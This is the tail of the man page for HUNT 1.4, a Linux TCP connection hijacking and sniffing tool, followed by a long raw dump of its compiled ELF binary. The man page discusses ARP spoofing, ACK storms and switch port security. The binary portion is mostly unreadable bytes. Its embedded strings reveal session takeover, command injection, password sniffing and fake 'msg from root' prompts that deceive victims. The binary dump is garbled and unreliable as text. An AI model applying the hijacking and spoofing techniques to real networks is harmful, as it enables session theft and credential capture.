On/Off .br Self explanatory .SH TESTED ENVIRONMENT .B HUNT program requirements: .br .B * Linux >= 2.2 .br .B * Glibc with linuxthreads .br .B * Ethernet .PP .B Tested hosts: .br Linux 2.0, Linux 2.1, Linux 2.2, Solaris 2.5.1, NT4sp3/4, Win95, OSF V4.0D, HPUX 10.20, IRIX 6.2 .PP .B Tested network equipment: .br BayNetworks 28115, 28200, 300 switches 3Com SuperStack II 3000, 1000 switches .SH SECURITY NOTES Please note the already known truth that telnet and similar programs which send passwords in clear text are vulnerable to the described attacks. Programs using one time passwords are also easily attacked and in fact they are useless if someone can run a program like hunt. Only full encrypted traffic isn't vulnerable to these attacks but note that you can become a man in the middle if you use ARP spoofing (forcing) without the ACK storm and you can try to do something. Also unconfigured switch doesn't protect you from sniffing or hijacking. It is necessary to carefully configure port security on the switches in order to protect the computers on the switched ports. .PP Detecting attacks isn't an easy task. For ARP spoofing there are tools which can detect it. The ACK storm is detectable by some sophisticated network analyzers (you can detect the pattern of the ACK storm or the statistics of ACKs without data). If you run hunt on your network you can detect the ACK storm because the hunt can detect the ACK storm pattern. .SH PERFORMANCE NOTE Make sure you are running hunt on idle machine with sufficient power (I used PII-233 with 128MB RAM) and without any other packet analyzer because if you use advanced features like arp spoofing or hijacking hunt needs to reply fast with it's own packets inserted into the traffic on the network. .SH DOWNLOAD This software can be found at .B http://www.gncz.cz/kra/index.html .br or at .br .B ftp://ftp.gncz.cz/pub/linux/hunt/ .SH KNOWN BUGS .B * some structures are poorly locked through mutexes .br .B * if you watch connection then some escape sequences from that connection can influent your terminal. Note that your terminal is named "Linux" ("xterm" - if you run it from X, ...) but the escape sequences are for the client side terminal which may or may not be Linux so you can get some mess. .br .B * sniff is not capable to search for a pattern which crosses the packet boundary. That means it can't search for a pattern of the user typed input as this input is usually transferred with 1B data long packets. .br .B * hunt doesn't support defragmentation so the IP fragments have to be dropped. .SH BUG FIXES, SUGGESTIONS Please send bug descriptions, patches, suggestions, new modules or successful stories to .B kra@gncz.cz .SH ACKNOWLEDGMENTS I would like to thank Sven Ubik < ubik@fsid.cvut.cz > for his invaluable input and feedback. .SH FINAL WORD Note that this software was written only for my fun in my free time and it was a great exercise of TCP/IP protocols. I am now familiar with seq. numbers, ACKs, timeouts, MACs, checksums, ... to the finest level. As I have some pretty good background this "hunt" challenge made me think that I hadn't known TCP/IP as great as I had thought. You are welcome to read the source code and to try to modify it or write your own modules. .SH DEBIAN This manpage was converted from internal documentation by .B Jon Marler < .I jmarler@debian.org > for the Debian GNU/Linux operating system. hunt-1.4/hunt100755 0 0 1303162 6776074536 11431 0ustar rootrootELFp4804 (444;;;LKLL /lib/ld-linux.so.2GNUaa<OP?JU&5@" %0]YG7*X3'NW ARZS /=`[9-VT1C! #(I4.:E2 6KFB+$LM;\, H8>_^DQ) 0G(Z<KA;P0[ CePGkb` GGЕfД`J *Pf;P;cFhup=`" =");0/"=R/"p"0>o /"2"#P3+D9:"@I"G"NTX@o"d2pPx$;"1" :p P"`Kp;"P)0F /"o"`*@A/0=p:DKRГ`З$h@o5v}:":Ж`yDg"@HВ;"@t"""__gmon_start__libpthread.so.0waitpidpthread_cond_signalrecvpthread_createsiglongjmpnanosleepwritepthread_cond_broadcastpthread_killreadsendmsgpthread_sigmaskpthread_cond_initforksigactionpthread_mutex_unlockpthread_selfpthread_mutex_destroypthread_mutex_lockpthread_cond_wait__errno_locationpthread_cond_destroypthread_mutex_initopenpthread_joinpthread_cond_timedwaitcloselibc.so.6strcpyioctlprintfstdoutsigemptysetgeteuid__ctype_bsetpriority__strtol_internalgetpidfgetsmemcpyperrorgetuidmallocoptarg__bzerogethostbyaddrsocketselectfflushsigaddsetstrncasecmp__sigsetjmpstrrchrfprintfkillstrcat__deregister_frame_infosetsockoptmemchrstdinstrncpyrealloc__strdup_IO_getcstrtokgettimeofdaygetoptmemsetinet_ntoagetppidtcgetattrgetservbyporttime__assert_failstrcmpgethostbynamegetservbynamesprintffcloseatexitstderrfputcsocketpair__xstatexitfopen_IO_putc_IO_stdin_used__libc_start_mainstrchrfputstcsetattrmkdir__register_frame_infofreesigprocmaskGLIBC_2.1GLIBC_2.00ii ii ii ii H Q# <,]PZ&^HK )61 M$($,0048J<\@D H;L.PETX+\`dFh9l4pTt:x|IC'[2%`RY>8*(O5?B L!U W_D3=V A7 N$/(@,S0G4 8"<@-DUS[;Gtt;6]5%%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@% hX0%h` %hh%hp%hx% h%$h%(h%,h%0h%4h%8h%<hp%@h`%DhP%Hh@%Lh0%Ph %Th%Xh%\h%`h%dh%hh%lh%ph %th(%xh0%|h8p%h@`%hHP%hP@%hX0%h` %hh%hp%hx%h%h%h%h%h%h%h%hp%h`%hP%h@%h0%h %h%h%h%h%h%h%h%h %h(%h0%h8p%h@`%hHP%hP@% hX0%h` %hh%hp%hx% h%$h%(h%,h%0h%4h%8h%<hp%@h`%DhP1^PTRhhQVhOU=u8PС8ut hÉUÍvU@thh5ÍvUÐUShR*ÃuqhxoÃuh`<1\jPZǃǃǃ$ǃǃpǃt@ǃ؋]ÍvUWVS] SMQ[M)ȉ)ȉ)ȉ)ȉ  $)ȉ$ρPP󥋃pMptte[^_ÍvUWVSuWPu t&1Wt Vh%e[^_ÉUVS]VhV|e[^ÐUS] PmS\(u]UWVS})ĉe19}C9|19}u6C9|e[^_ÉUh,ÐUVSU M19uA9BuA9Bt;Yu$9rufA f9BufAf9B u t&1e[^ÍvUWVS1h4hy4)ĉehd4)ĉehuV4UU+C PCPs3(uUEUGURV4ÃuV|5|-U4U36h<2 OyhB4e[^_ÉUWVSu~PW~FDPVDu 1WxtVe[^_ÍvUVSuffNfffFffV f%ha3VSh 1ƃt^PSFDShi3e[^UVS]ffsfffSffK fSPh0u 1 t&e[^UWVS]u A 9uUA9CuM9CuFB9C u>B9Cu6sxusǹu 1e[^_ÉU WVSh@uVg*6U RSRtW*Sh@'&V*ÃuVo*1e[^_ÐUWVSuuujhÃuhgh9hrhyjhSCDjCPP\fGff=v2fff=w%uFF CfGfCffC K(s #uF FCffCfGfC K s(uGffu W %ffG tGAfGfAufFfAuAfBfABAfB fA AuFfGfFufFufFAFfA fFAFfAfF Su h.jMe[^_ÍvUVSu1ۃ~LujEP"jEPFLU)‰Ѓ vt(j w6h|ju j\6EFLe[^ÍvUHWVSu@ E@EffEf@fEMff]ffEffEfEffEEE<h/EEPWh,Ã]EPSWƒ DVS$G 9uG9Cu 9CuK K(AEBffEȋ EȋEffB tBAffyfRfQEAEf@fAu܋FAf@ fA AffEȋEff)EȋEACHE@CHE@EиQeUȍ9E#{$u{@uEPSC$C@ ~Ӌ D;J uB9Hu9Lt/;KuqB 9HuffBf9LuSff9NuGPE@PE@ ~uPtSWV'GP@ D@HffLf@fNh,e[^_ÐUWVSuEB EBEffEfBfEMff]ffEffUf%щMh,}}W}Wh)Ãte}WS}W uOVSuA9B uC9BuC9u C,9BuC9BuE}t/}W}Wh) 9u Sph+h+Ve[^_U WVS}B EBEffEfBfEMff]ffEffUf%ҍ h*uVShv(tVPSw u W SWh*e[^_US]J $<uRut"St&t S vS]ÐU VSuh]SW"pVЃS#uS"e[^U VSuh]S"pVЃS"uSO"e[^U VSuh@]S!pVЃS"uS"e[^U VSuh]S!pVЃSX"uS!e[^U VSuh]SW!pVЃS"uS!e[^UWVS]h (jSh &EtG} ÃS7u uu fFufFS9ht&j YEuhhhrhu uu fFufFjPVSh &h J(e[^_ÉUS]h 'jSh %Ãt CPhh (؋]UEPeÍvUWVMPf@f=tf=u@B֋u RPz5PPh5e^_UEPr 6UWVSjhj =t@Ph5豽hjdh thjjjdh  thejj5!y}h;jtj@hjPjthh,Vh tÅuh 5jjhS5 T`ƒ ǃ(fC f%=t=j(!csCPV.f==t SS fFffFf CEfFfM%9F t"WA"9ǃSB $fNfC)B ) fVfC)RV&- fVSS hhuVG pSЃVuVvhS&A9ǃC$St&E9|^ǃC$fVfC)R,fuSnD)X7ǃ{Sj`(S4 \SvUVSu] fCf%P5vPC tCff &1PCffPff%P5v Ph`5e[^UU E|9}h)Phu1U,WVSh!h!Eu5h"}t U} t M 1!} t:E P~Euhhhrh] vE1ۃ}t5URP2Eu#hhhrhEEhMMQe!U UMM܋UUEvM9M 5FPP56PURhSj)PSRÃ(hSz5F PP5vPhSJà }tmߋFffPF ffPhSj-)PSÃF,ffPF(ffPhяSÃ}hSÍFPSw)j-)PShhSÃ$F0PSL)hSwÉhShÍFPS$)à j-)PSh S=ÍF6PS(hS$Ã$}t'MԋU FM؉fFUffF MfE E E E EjUR`ƃMQh}tMU } tMU Ee[^_ÐUWVS1hh W EPS (S5Ph*cF=`u蹼QWuW'[^_UWVSu} 195FPP56"PShh)Ѕ~ )1Ph$h5F PP5vPhC9ee[^_ÐUh@SÐUVS1:5 5EPjEtC#1PhCؙ=`uehVnuu he[^UWVS}jjEPEP^ƃ}tUuhuSFPjhƐ5|M@TWDG1uL h@؍e[^_ÉUS]M A9B u19Bu*fA f9ufAf9BuSShG ]ÉUS]M 9B u&A9BuA9uSSh ]ÉU`ÐU`WVS''hD } t} uEܴMM̍EPh: M IwE,MMEPh Dž9C5UDP)P5PPhSֻÃG 5PPh%S谻ÃGuC+]؍e[^_UVSuU u]эt9ff҃ff؉f%9f%9볉9tu1u1e[^UE8t)&ff% ‰9uÉUVSÈu 0A@ye[^Uj Fh)Ըj55rUS15j 蝹C1~]ÍvUWVSu }~SVUR迵 ~ )ƅ)߉e[^_ÐUWVS}1WU RURà }Jv8iu$EE@jP#F뻅}D0Sh@5聵؍e[^_ÍvU<WVSMQfBfAMQ AfBfA fA "6jW跹jV謹Mq0q,SzMfA fFfAf"F $ PF Q(F $ЈF Q $ЈF Q$$ЈF fAfFƅEI0ȃ( ffGG@G fG@MG AGfAfGfG jWfG MAFy tAFfFMA0PVW&fF jV襸j5P获 jS}DžDž6jS5[^_U@WVS}W fBfAWAfBfA fA "*jS輷jV豷Guj@Q虷Dž@PwQZO EffCC@C C GCfC@fCfC jS-fC GGFGFfFPVfFjVj5Pֵ jSŶDžDž*jS5[^_U VSEU M]uEUM]fEfEfEfuEEEPe[^ÐUWVSE}F ;E uJE9FuBf9ufEEEEEE1;] }̃}t;F,ffffEF(ffff9FffffEF ffffEWC;] pe[^_ÐUWVS]uujt-1tVSh0 Vh vSh5 uE P`jaE  utVE P.E xt1e[^_ÍvUEjj Pu:‹Et< u;U | ;UÉUXWVSMME1MMEj-VAÍMMuj:V*ÅtQCjj MQV语ƒE8MGjj MQS胭ƒE8uz/t&jj MQVbƒE8tVoЃtIMGhMQ ƃ3MG}u~hs"EЍvPMQu l1e[^_ÉUu jh@>UWVSUC t BC ujh@իu^DžttxVXjV0EVSjzMQ!jVje=v1h jPjDhSjSЫjSj(uMQh1G\[^_UWVSu11MM'41jjMQP{ƒE8u6T+Ch'VNuǃtth,诫ڐEM EfA1e[^_ÍvUWVS}E9} U} |O|K}1Ph=]S ރ ]t&Vj@SUR|WU RSa |t[^_UWVSu }WhSURp} yjh@S tu1 &[^_UHWVSMQhQMQ} /j/Q@t 1h\Q譪tPǃttRhaj膪sj jP1ƃ \t )1It&u17u&@u uhejtSP t&jDS航M 9M1}1[^_UWVS]} uP5S'PhgV訩0t)?t$hmS莩j)PSW,Vuuu u[^_UhۦhÐUW}h賦t==tjt =5j 9t"5j* 5j-ӧ=t>1tPRho裦 "Phy 5h5!hԧ}ÍvUDWVSu} ]UUt&ujhv5=Uhgj|5 j@UR?h% h.jE< u t .t&< u t&EPWu:Ee[^_ÉUjEPu uÐU} t y t&nPhuntyt1 t&ÐUWVS]ujQ}t01tEPSh EPhSh襤5 hVj u}uGEPV详1эQ< u2;]~]SVE PLE D1[^_ÍvUWS}] EEuujj]5@NP5TWhȣ W-h˙誣 jjhe蔣 =tWjjhm1уQhϙ`5\5XhJ jjhe4 Sh&j t*jRZtj dh jS jEPuuze[_ÍvUS]ujSh誢5O5 qj]ÉUWVSME It>f>f>>1tRQh\]SӍ@t&Vj@WS}/@Phbuhf@0[^_ÉUEtt t sd bt&ÐUE9uF9BuF9EEE9zu;^ufFf9AufF f9uE}u}u 1vE$Vtt}t&E tu}uBw }tE}t:E t&1IQRE SÅtF~uDE tu}uBw$}t]h5E}uEEe[^_ÐUWVSUUUU1U °UR}W#SU RUR.ƃ uWӼÃuWHU j(rÃUfBff=v,fff=wUBB CUfBfCfUB BCUffCfBfC C CC CCU tCC$SURݲSU RUR/j38ojs.o$tOU@ t@SU RSUR谷uhӝhhhԅt&S1u1t UUe[^_ÐUWVS] }}/uhGE+$ )uM9G t@9WMQG @ 9WMQG u)ЋOMy19t&SMQEPΆGG])ރ =u/WMQeMt &GWuM;|"WQ'MtGe[^_UVSjhjƇj Pj7`EPVS tuVSPaVSFjhwÃu1e[^ÐUXEPhzj薄 uE%=@tQh>贃8u/hhz } hhFt&h961ÍvU=t hG]t&_uThѱjhjh(躂 h h軰h`賄ÐU VS=uhqt&h h]`rdjshcL\Oj@hʚ;jhl$X+jhShvw}ƅh 諲Ph 蠲PjhTtAShzhSځhS_PuShDžPh|~ÃhS jQk~jP}ǃj$Q蕩ptKV*{󥋅hClK LP{TL `P‰dtSd1V}‰uhhhh˟|VdPR~ \Q(‰XPtPǃ ǃSTPh 蠩<[^_ÐUWVSjh 臰HPh {HPjh֟ƒRh yÃ{Ws3TPtQpPhƒKTPQs sxLPlQhPhlƒ[DždDž`bjyhIhL yuWPh4` hVh>d(Phcf\ hʚ;jhl:XTQMLPAh +HQ{~&&HPVcz獳 RV蠩ƒu苅ptCT󥋅hClC PL`P=dtd|d1V>z‰uhhhh˟yVdPR{ \Q‰XHQ|h 8[^_ÐUSjjh IHPjhpÃ|-h 聭Sh zSSTh 蚭]ÐU=t y t&nPhIh ntyut&UWVS`jVhWh(ntxtp1ۅuˍe[^_ÉUWVSQjVh[WhawO$p;4jji"D 01ۅue[^_ÐUWVS;uwq}]+t&jSdff@ffffE ff9vEG jWvF;uve[^_U(WVSUEEEEEEUEuF1;] }+MM؋} OMQ;9} jVuC;] |ߍe[^_ÍvU$WVSjhjzj NuPj&v2MMMMh`MQ}X5uEjSff@ffffFff9vMQyƃt tMQhvjWwEEU)ЍM܉Au1&MQhhxƒ unt thx1e[^_U=uDjhujhtjhjh,t1hvÍvU=tChuhBwhwj5,v1h3vU=tZj5,cttf@ffEEEE$< t< uEҥEU EW誱Smjh.ÃxQh4tQh#h9njui1h[^_ÉUu uU5820t}t P04t } tP4Um؍e[^ÐU0SE E`EEE E`EܒEE䬧Eʧ}t1E C)Ӊ&L+؉ȋ]UWVSuF,ffV ff)УF(ffVff)У  PPhqe脬   )áPjPMHQfǃ 9Lj4SGgFLPfF fTfFfVNXN\F`F dfFf@ffjDžlDžtDžpHx| ) Sj<[^_ÍvU`y`yÍvUWVSu~ 9 9 9} & ہxvxSj TWd E̋FEfFfEfF fE֍N6M؍N0M܋F,EF(EfF fufEEEE}]EPKأ أ  H[^_U<WVSu jnQPd1эY u~= vWj VcT9~9)Rj Vc 7)SRPt&)W+PVYb }]j4ShdE@E̋UUЋEf@ fEԋUfRfU֋EE؋UU܋E@EUR UEfHf@ffEEEEuUUS詩 +E [^_ÐU4WVSu] }j4WcCE̋EfC fEfCfE֍SU؍SU܋CEC EfCf@ffEEEE$E M t uE)EEMWΨ+  +  e[^_ÉU8WVS} M΋9Y }G9AqMG9]G,ffW ff)УG(ffWff)У tn  fjjPQӡWMQ=GffM ff|" ~{M tjjPQwM@9|u8 t.ƁvVM$S9_؃ 11VPW  WG9F t9YeMfG f9OfGf9BAG,ffW ff)УG(ffWff)У W(9E̋GEfGfEfG fE֍O6M؍O0M܋G,EUfG fufEEEEEEEPE䣀| }W:u ~+jjW =tWu u MQa[^_UÍvU`WVS}h׉E/}U䉕RhوEȰ.}̍UȉRh軈jP]WDž<8 <@S*]jS\ESVjLY } | } Wu t3t&u&jhÊtWPutыRh輋Rh請h`t h.jSjXu 1 t&[^_UVSMyuh`5XS=uEA EEMQUEA E1;}uV§C;|e[^ÍvUVSUzuh5oXW=uEJ MEUBEEE E1;}uV>C;|e[^ÍvUS]{u=s mƒtC fBfCCR@m js A{u=slƒtCfBfC CRl js{t*ScC ff@ffPSE ]ÍvU WVSEsf{h*h}Wx fCf=mC9FueC 9Fu]{uF C fFfCC{uCfFfC CC t&C8؍e[^_ÍvUWVSu} ~t>19}Bt&VF ff@ffPVC9| h Re[^_ÉU(WVS}G,PW,ЅWh节G8tPF>w8SG8GwtBjVht SVRPfQfP Est&+QVWQVRSfS fPS]Eh]SԀvA9F uA 9FtS芁uS= t }uPf fP jWh*W,WNWQjh |ƃ71e[^_ÉUhy=uOjhFjhJ0EhhxhL1hLÍvUS=uhLehhk|\SPhyÃuhxyj5Lhש;L1]U=tYj5kJt;j5Lj ThKjC h!KÐU WVS1Mqn^EujMqMqHt&GVA^ÃujV vSf^ff@ffffMA ff9vEE@jP!H}u8Mq]Eu#jh@蓥PcIMAq|Va]jMq qȃPSMQVMquǃ$uh5Gt S[]MQWTƃuSThAjRRRVSWR jRRRSVRWYǃ SZTVTTR\ tRW@tW[^_UWVSNjKHPjhq}3jh薖Ejh2{ƃtoPhpËSUs h}Ws,U9Su9s u SU9S u9su SW-tÃuWse[^_ÉUVSuVFu 5v Q'PhJ@1ۃ5t.jyheh荚 ntyuVa1ۃte[^ÉUjHPjh+|Ph oPSÐUWVSjhqHPjhÃShnjh|t(PRt&jh̭ȔƃtK1ۋO9}.uxtPO 9p tC9|Ӄt;_| h>e[^_ÍvUWVS -jVh=WhBx0ws$T=ev[TSKlD3;4+$X |51ۅge[^_ÉUVS]u F 9B uF9Buf9uSBSh@je[^ÍvUVS]u {ujjs EE@jP:s 'Pƒut VhW=C fBfCCR2P1e[^ÐU@WVS}uh 5:t&EX}MMQh@hE1O MM܉MčMԉMȍ&E@%PMQWw w~jMQuS>Sh~ee[^_ÉUVSu] HfxuNffff9r0ffCff9wV=Vh ee[^ÍvUWVSh8566;} MMM1MMffMff)ЋM<up}uAVJÃt[f%PShV5׃SJ-t&f%PMQhV5袃ff@ffffMAff9'jMQ7MMU)ЍMAt&p hP5VS[u#}tQhMQ5VS8t4ffMff)ЋMjVS?;MQhneÃYh65D4G;} h}6e[^_ÐUUE EEEEEEUEPÍvU(WVSh653E] 9]]]܍]3}cff]ff)Ћ]<u}uh]SV-ff@ffff]Cff9vjW5]]U)Ѝ]܉C]䋛]]؋[]]䋓u؍zunƉ׹uYƋ}uE]9Cu8Eff]ff)Ћ]j]S]S8]Sh-cE7h]452E] 9]Ph64e[^_ÉUWVSu} offff)…t <u,t&F<u F<tjSPh3ff@ffffFff9ne[^_ÉUWVSu} kffff)…t<u(F <u F<tjS^Ph#3ff@ffffFff9re[^_ÉULWVSj5Ph hj5Ph>ƃffff)C5j0Njw4V0GV0G V0GV0G_Vw;4Vw /4Vw#4Vw4jyh3h6W yuIE\}̍]Sh]jwjWfShga hz6wWI jyh3h yu~hTO1jw7÷Dž@jP4.E\}]Sh@] jwjWXSh@`h5wW$jyh3h^ yuswPS8uSVh薅|HE\}̍]Shs\VwjWCShD` hW5wW jyh3h Ҋ yuswPStSVh |HE\}]Sh@[Vw jWCSh@_ h4w WF w0w 0w0w0W0[^_ÐUWVSUfU}1h bh UUR\b E#C;u4E #C ;Cu)CPEPeutCTPPQuu>E#C;Cu?E #C ;u5CTPEP'ut CPPut t&URbÃbURbh ae[^_ÐUMU BPPqq ÐUSh-ÃuhGj;h`hlo,jS0CCC CCTCXC\Sh X]ÐUWVS] jhVCPJsjhWCTP3s VsoP53PhpVM/Ws oP5sPVURh{_-[^_U VS1h uV8`$&PSC,ؙ=`uV`uVT`e[^ÐUWVSjjjuVtPpPh覄jjjx`QlPhPhph ^Ph ^Pjhųdh*ÃhSx.ptCVr{󥋅hClC `Qr{T`h z^SdQh Vh ^T[^_ÍvUWVSKh ]HPh ]HPjhϳPh ZÃ{Ws3uVtPpPh KTdQs sx`QlPhPh˂|eVq`Qqh l]ptC󥋅hClC d`h _]T[^_USjh \HPjh۳~Ã|'h \Sh Zh ]S"+]ÐUS=tynPhh{ ntyt X1 t&= tynPhh:ntyt 1  ]ÍvUSh]SmSxPhF~|x|ftÍvU=u n t&yPh0h3菃ntyut&U=unyPh0hF?ntyut&U5h'jh`||ÍvU5h'jh||ÍvU5j jh||ÉU=tynPh0h|ntyu U= tynPh0h"/ntyu t& U=tynPh0h7߁ntyut&U`=@Bu1Ph'jh`}{|u `@B`U=t y t&nPh0hOntyut&Uh軃ÐUWVS&hVj=t ynP`=@Bu1P=tynP5=tynP5= t yvnP5=t y t&nP=unyPV= t yvnP=tynPhS)'^ƒuS^h@]e[^_ÐUWVSEhjhj]$ =tPh`"j Pj_ Džd 7}X 1󫋽h\\\4X>Džl l@PjjWhGW ƒd `Xt{j tWhP#ƒ u\tuS|tIRtShW#| 9thu!|Sxj Ã9`}Sdtj5p1L[^_UÐU(WVSj RjDžtutxPU!EjSj=^v[M 1E4ÃDž GWjjPE@PƒjWEP!ƒ jjP)t uDžtCC8Džt{։1щKRP!{ WSEP }WjUÐU WVSM Q}WQMMfvWRÃtd;uOMQCLƋVSCjCVEUMAjQsVMQPuWQM QPMQKjËVSjfCVEUV"uVjjj EC C uOufMQ]M QWP sFWQÃuWQvjo~+vSM QIjEPshvMQOe[^_ÍvUWVS}jqEWuV0P A;uPh>PjhaËC(C,VS{8󥋅C0C4QR{|dt etXǃTt&ǃP: f ǃSQh6[^_ÍvU,WVSDžEh=HPh=HPjh__Ph:ÃG{8Ws,s(MQPPhbK|Qs4s0xQPPhbtt denPh2he euhVhhIecVtEDž/devfDž/VV jV }Vh QPQPC(C,󥋅C0C4eu |:|PǃtPN ǃdt et@ǃ>ǃ|*PE ǃ[^_Ujh;HPjh/]|PhE9PÐUWVSCvjVhIWhTYdw+$d&t&sl 1ۅue[^_ÐUS=t Ѓ;u]ÐUÐUS[ïKo ]malloc__conn_addhunt.cci hunt: possible ACK storm: mac_table_updatemiARP: MAC src != ARP src for host %s hunt pid %d hash_inithash initlinksockstarting hunt can't get free packet - out of memory %s [%d] seq=(%u) ack=(%u) ---> %s [%d] %*sconn_listbufuci%d) %s [%s] --> %s [%s] seq=(%u) ack=(%u) seq=(%u) ack=(%u) src mac= src mac= dst mac= dst mac=--- mac table --- %-24s %s /* * hunt 1.4 * multipurpose connection intruder / sniffer for Linux * (c) 1998/99 by kra */ %s no connections are available choose conn -- press any key> dumpnyprint src/dst same characters y/nresetdone yndump connection y/nEnter the command string you wish executed or [cr]> rsn[r]eset connection/[s]ynchronize/[n]onern[r]eset connection/[n]onearp spoof src in dst y/nsrc MACarp spoof dst in src y/ndst MACPossible ACK storm can ocure because you don't do ARP spoof at all, OK hosts already ARP spoofed rleinput mode [r]aw, [l]ine+echo+\r, line+[e]chodump connectin y/npress key to take over of connection [r]eset connection/[s]ynchronize/[n]oner) reset daemon a) arp spoof + arp relayer daemon s) sniff daemon m) mac discovery daemon x) return rasmxdmdaemonsռusage: %s -vV [-i eth_interface] l/w/r) list/watch/reset connections u) host up tests a) arp/simple hijack (avoids ack storm if arp used) s) simple hijack d) daemons rst/arp/sniff/mac o) options x) exit lwrusadoxeth0 done tj func %s return %d UID or EUID of 0 needed vVi:hunt: version 1.4 exit? y/nMain Menuuǿпarray_initc/array.ca->a_arr = malloc(size * sizeof(struct array_item))need_spacenew_arr%d Hi [%d;4%d;3%dm%s: %X %02X:%02X:%02X:%02X:%02X:%02X%s (rawsock) Socket problems [fatal]Cannot set IP_HDRINCL socket option If you are relying on this rather then a hacked kernel to spoof packets, your sunk. [cr]all%s:%s %s CTRL-C to break sendmsg retval = %d errno = %d connection isn't available %s [%s]> [%s]> %s> ,; bad ports -- operation canceled - press any key> can't resolve name %s to host address : bad mac address %dmymy ethmy eth macmy mac / %s/%d %s [%c]> [%c]> nyx--- %s --- rcvpkt %u, free/alloc %d/%d ------%*sdroppkt %u, other proto pkt %u%shunt failed - please restart the program[s]rc/[d]st/[b]oth%s %ssdbbad src/dst/both srcdstbotherrconnection isn't available ACK storm detected - reset after %ds . reset done daemon already running rst daemon started daemon isn't running rst daemon stoped RST daemon failed - bug R%s/%d [%s]SYN onlyall%2d) %-24s --> %s/%d [%s] rst %s %s src ip addr/mask portsdst ip addr/mask portsmodeynreset only syn y/ninsert atchoose itemitem nr. to deletes/k) start/stop daemon l) list reset database a/m/d) add/mod/del entry x) return skladmxrstdreset daemonpwe%s for X log %s %dB%s/%d [%s]%2d) %-22s --> %s/%d [%s] %s --><--%s [%d] %s %s [%d] .sniff%s/%s:%d_%s:%d%s_%dwcannot open %s for writing [0x%X] sniffer - bad state sniffer_matchsniff.crret.sniff isn't directory .sniff can't be created directory .sniff created .sniff error sniffer already running sniffer started sniffer isn't running sniffer stopped Sniffer daemon failed - bug SLOGSRCHERR%s [%s] %-24s -> %s [%s] loged=%dB state=%s src ip addr/mask portsdst ip addr/mask portssrch_modesearch forynwant to search for y/nlog modelog byteslog file name [by conn]insert at%s/%sa+can't open %s for writing sniff_add_itemsi->searchchoose itemsniff_mod_itemitem nr. to deletePrint newline,... as newline,...n) print new line,... as new line,... x) return nxsniffoptsniff optionss/k) start/stop sniff daemon l) list sniff database c) list sniff connection a/m/d) add/mod/del sniff item o) options x) return sklcamdoxsniffsniff daemon`TpGPgw@mac discoverer already running mac discoverer isn't running MAC daemon failed - bug M%2d) %-24s - %-24s start ip addrend ip addrmdi_addmacdisc.cmdichoose itemitem nr. to deletechoose time interval minchoose time interval secs/k) start/stop daemon l) list discoverer setup h) list HW mac addresses t) time to sleep a/m/d) add/mod/del entry x) return sklhtadmxmacdmac disc. daemon0#I#I#@#I#I#I# #I#I###7#I#I#I#I#I##'#I#I#I#G#(tap) SOCK_PACKET allocation problems [fatal](tap) Can't get device flags [fatal](tap) Can't set/unset promiscuous mode [fatal](tap) Can't get interface IP address(tap) Can't get interface HW addresslisteining on %s %s mac on %s connection isn't available ARP spoof of %s in host %s FAILED you took over the connection CTRL-] to break $ connection isn't available sync failed msg from root: power failure - try to type %d chars fuck you type %d chars immediately I/O failure detected, %d chars will solve it machine is going down within 5 min, type %d chars segmentation fault - %d chars to resume power failure detected ... power resumed, ok ready I/O resumed machine shutdown canceled you have new mail user have to type %d chars and print %d chars to synchronize connection $ -- press any key> error: try to send arp spoof without known dst mac error: try to send arp spoof 2 without known dst mac arp_dont_relay_insertarpspoof.cadrstart_arp_spoofasitjWarning: cannot try to force arp spoof while dst mac is not known arp_realyer droparp_relayer pktrelayarp_relayer gotdaemon already running daemon started daemon isn't running daemon stopped ARP relayer daemon failed - bug Ysrc mac isn't known - continue? y/nerror: start_arp_spoof_range: asi == NULL %2d) on %-16s is %-16s as %s refresh %ds %2d) on %s - %s is %-16s as %s refresh %ds host to spooffake macis host IP router y/ntarget - where to insert the spoofrefresh interval secdst mac isn't known - continue? y/nstart target where to insert the spoofend target where to insert the spoofarp_spoof_range_addasritem nr. to deletesrc/dst host1 to arp spoofhost1 fake macsrc/dst host2 to arp spoofhost2 fake macERR: host1 mac isn't known ERR: host2 mac isn't known item nr. with src/dst or [cr]src/dst host1 to removesrc/dst host2 to removeARP spoof in host %s - OK yndo you want to refresh ARP spoof? y/nitem nr. to testwhole range test y/nhost to testhost not found in range database s/k) start/stop relayer daemon l/L) list arp spoof database a) add host to host arp spoof i/I) insert single/range arp spoof d) delete host to host arp spoof r/R) remove single/range arp spoof t/T) test if arp spoof successed y) relay database x) return sklLadiIrRmtTyxarpsarpspoof daemonWXXWXXXXXWXWXXXXXXXXXXXXWXXWXXXXWXWWXXXXXWWWXXXXW%serror: try to do arpspoof_test without known dst mac dst mac isn't known - cannot do test ARP spoof of %s with fake mac %s in host %s FAILED ARP spoof successed ARP spoof failed do you want to force arp spoof until successed y/ndst mac isn't known CTRL-C to break . -- operation canceled - press any key> there are arp spoofed addresses left in arpspoof daemon ping. arpUP %s in PROMISC MODE %s start ip addrend ip addrbad addresses ynhost up test (arp method) y/nmac discovery host up test (ping method) y/nchoose unused MAC in your networknet ifc promisc test (arp method) y/nnet ifc promisc test (ping method) y/nadd_telnet_rlogin_policyaddpolicy.capi%s/%d [%s]%2d) %-32s <--> %s/%d [%s] src ip addr/mask portsdst ip addr/mask portsinsert atchoose itemitem nr. to deletenyprint MAC y/nprint SEQ y/nsuggest MAC baseynResolve host namesLearn MAC from IP trafficACK storm reset secSec to wait for next cmd with simple hijackNumber of ARP request/reply packets hunt will sendarp request spoof through requestswitched environmentuse my mac in ARP spoofingNumber of printed lines per page in listeningsverbosepress keylamdcghrsqtwyepvxl) list add conn policy a/m/d) add/mod/del conn policy entry c) conn list properties mac %c, seq %c g) suggest mac base %s h) host resolving %c t) arp req spoof through req %c r) reset ACK storm timeout %3ds w) switched environment %c s) simple hijack cmd timeout %3ds y) arp spoof with my mac %c q) arp req/rep packets %3d e) learn MAC from IP traffic %c p) number of lines per page %3d v) verbose %c x) return optoptionspYqpp qYqqqYqYqYqppYqYqGq@qqq'qYqPq0qWq7qupdate resolv thread pid %d bad read of len in update thr resolv_slaveresolv.c(void *) res->name == (void *)(res + 1)err launching dns slave resolv daemon pid %d dns daemon failed to start - exiting 0tcp%dri_allocatepktrelay.criethtap_relay error: ethtap_fd < 0 relay packet %s/%d [%s]DROPETH RELAY to %s%2d) %-24s --> %s/%d [%s] flags %s src ip addr/mask portsdst ip addr/mask portsndeflags: [n]one, [d]rop, [e]th_relaytap0eth relay device/dev/cannot open %s for read/write insert atchoose itemflags: [n]one [d]rop [e]th_relayitem nr. to deletel) list relay database a/m/d) add/mod/del entry x) return ladmxarps/relayrelay 